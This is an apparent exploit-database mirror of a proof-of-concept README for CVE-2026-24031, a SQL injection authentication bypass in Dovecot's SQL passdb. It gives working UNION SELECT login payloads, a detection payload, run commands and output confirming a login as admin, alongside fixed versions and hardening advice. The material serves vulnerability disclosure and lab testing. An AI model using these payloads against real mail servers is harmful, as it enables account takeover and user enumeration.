Sploitus

Exploit for CVE-2026-24031

kitploit Β· 2026-09-09

Exploit Code

MARKDOWN176 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ARAMOSF-CVE-2026-24031
# CVE-2026-24031: Dovecot SQL authentication bypass (authentication + user enumeration)

![CVE-2026-24031 live exploit](https://raw.githubusercontent.com/aramosf/CVE-2026-24031/main/assets/CVE-2026-24031.gif)

This repository contains a proof-of-concept authentication-bypass exploit for **CVE-2026-24031** , a SQL injection in Dovecot's SQL-based authentication introduced as a regression in Dovecot 2.4.0 / 3.1.0. In the tested Docker lab (Dovecot 2.4.0 + PostgreSQL), the PoC logs in as **any user without knowing their real password** , and can also enumerate users.

> **Warning**
> 
> This PoC performs an unauthenticated authentication bypass against a mail server. Use it only against a lab you own or against targets you are explicitly authorized to test. It does not modify the server's state, but it will exercise authentication and may leave failed-login entries in logs.

## Vulnerability summary

Dovecot SQL-based authentication is vulnerable when the administrator clears the `auth_username_chars` configuration directive (sets it to an empty value). `auth_username_chars` normally acts as an input filter that restricts which characters are allowed in a username _before_ the username is interpolated into the SQL passdb query.

With `auth_username_chars = ` empty, the value is passed through to the query **without** `sql_escape_string()`. A crafted username containing SQL metacharacters therefore becomes part of the query:

root@kitploit:~
    
    
    SELECT username AS user, password FROM users
    WHERE username = '%{user}' AND active = TRUE
    

The following payload makes the query return a row for `VICTIM` with a password chosen by the attacker:

root@kitploit:~
    
    
    ' UNION SELECT 'VICTIM','{PLAIN}12345' -- 
    

`{PLAIN}` is parsed by Dovecot (not by the database), so the password scheme is handled natively and the trick works on pgsql, mysql, mariadb and sqlite. Sending `12345` as the password then matches, yielding `LOGIN OK` as `VICTIM` without knowing the real password.

The resulting query is:

root@kitploit:~
    
    
    SELECT username AS user, password FROM users
    WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
    

## Affected and fixed versions

This is a **regression introduced in Dovecot 2.4.0** and also present in 3.1.0. Earlier 2.2.x / 2.3.x releases escape the username and are not vulnerable. The flaw is fixed in 2.4.3 and 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).

The vulnerability only applies when **all** of these hold:

  * Dovecot 2.4.0 or 3.1.0;
  * a SQL passdb (`driver = sql`) using `pgsql`, `mysql`, `mariadb` or `sqlite`;
  * `auth_username_chars = ` (empty) β€” the trigger condition set by the administrator;
  * network reachability to the IMAP / POP3 / ManageSieve service (TLS or not).



The PoC was validated against Dovecot **2.4.0** (official release tag, `daeb6bc5`) + PostgreSQL.

## Exploitation process

### 1\. Detect the no-escape condition

Authenticate with username `' OR '1'='1' -- ` and an arbitrary password. On a vulnerable server the query is altered, so Dovecot returns `a1 NO [UNAVAILABLE] Temporary authentication failure.` instead of the classic `AUTHENTICATIONFAILED`. This is the fingerprint that the username reached the SQL query unescaped.

### 2\. Bypass authentication with UNION SELECT

Authenticate with username:

root@kitploit:~
    
    
    ' UNION SELECT 'VICTIM','{PLAIN}12345' -- 
    

and password `12345`. The UNION row overrides the `password` column for `VICTIM`, and `{PLAIN}` is parsed by Dovecot, so the password check succeeds.

### 3\. User enumeration

Because the query result shape differs between "user exists" and "user does not exist" (row count and response status), the server leaks whether a username exists. This works against every affected backend.

## Building and running the PoC

The PoC is a self-contained Python 3 script (standard library only). Start the vulnerable lab and run the exploit:

root@kitploit:~
    
    
    ./run.sh
    

`run.sh` builds and starts the Docker lab (`lab/docker-compose.yml`), waits for IMAPS on `127.0.0.1:14193`, then runs the PoC. The lab builds Dovecot 2.4.0 from the official release tarball with an intentionally vulnerable configuration and a PostgreSQL database.

Equivalent manual steps:

root@kitploit:~
    
    
    docker compose -f lab/docker-compose.yml up -d --build
    python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
    

PoC options:

root@kitploit:~
    
    
    python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
    
      HOST       IP or hostname (required)
      PORT       993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
      DELAY      seconds between attempts (default 0.5)
      PROTO      imap (default) | pop3
    
    Optional environment variables:
      CVE24031_USER   username to impersonate (default: admin)
      CVE24031_PASS   password chosen for the UNION row (default: 12345)
    

The lab database seeds these users: `admin/admin123`, `alice/alicepass`, `bob/bobpass`, `postmaster/postpass`, and `victim/supersecret`. The PoC impersonates `admin` without knowing its password.

## Reproduced results

The PoC was validated end-to-end in the Docker lab. The `admin` user's real password is `admin123`; the PoC logs in as `admin` using `12345`.

root@kitploit:~
    
    
    $ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
    [*] Target  : 127.0.0.1:14193 (imap, plain)
    [*] Victim  : admin   imposed password: 12345
    [*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
    
    === PHASE 1: UNION SELECT (login as victim without real password) ===
        [UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- "  pwd='12345' -> OK
    
    ============================================================
    [!] >>>>>> BYPASS CONFIRMED <<<<<<
    [!]     Logged in as 'admin' without knowing the real password.
    [!]     CVE-2026-24031 exploited.
    

The complete sanitized transcript, including the legitimate-control and no-escape-detection steps, is in `docs/example-output.txt`.

## Demo

The animated demo at the top of this README (`assets/CVE-2026-24031.gif`) was recorded from a real session against the running lab. Regenerate it with:

root@kitploit:~
    
    
    # with the lab up (docker compose -f lab/docker-compose.yml up -d)
    asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
    agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
      --cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
    

`demo.sh` drives the live demonstration; `demo.cast` is the raw asciinema recording used to render the GIF.

## Fix

The advisory (`OXDC-ADV-2026-0001`, DOV-8781) is already released upstream; Dovecot 2.4.3 / 3.1.4 escape the username before interpolating it into the SQL query. The fix is therefore not duplicated in this repository. The recommended hardening is to never clear `auth_username_chars`, or to upgrade to a fixed release.

## References

  * Official CVE record (CVEProject cvelistV5)
  * cve.org record
  * Dovecot Security Advisory OXDC-2026-0001 (dovecot.org)
  * Dovecot 2.4.0 release tarball



Vulnerability discovery: whisperer@yeswehack. Research and exploit implementation: **A. Ramos** `<some-email@example.com>` (Twitter: @aramosf).

## About

CVE-2026-24031 Dovecot SQL authentication bypass (authentication bypass + user enumeration) PoC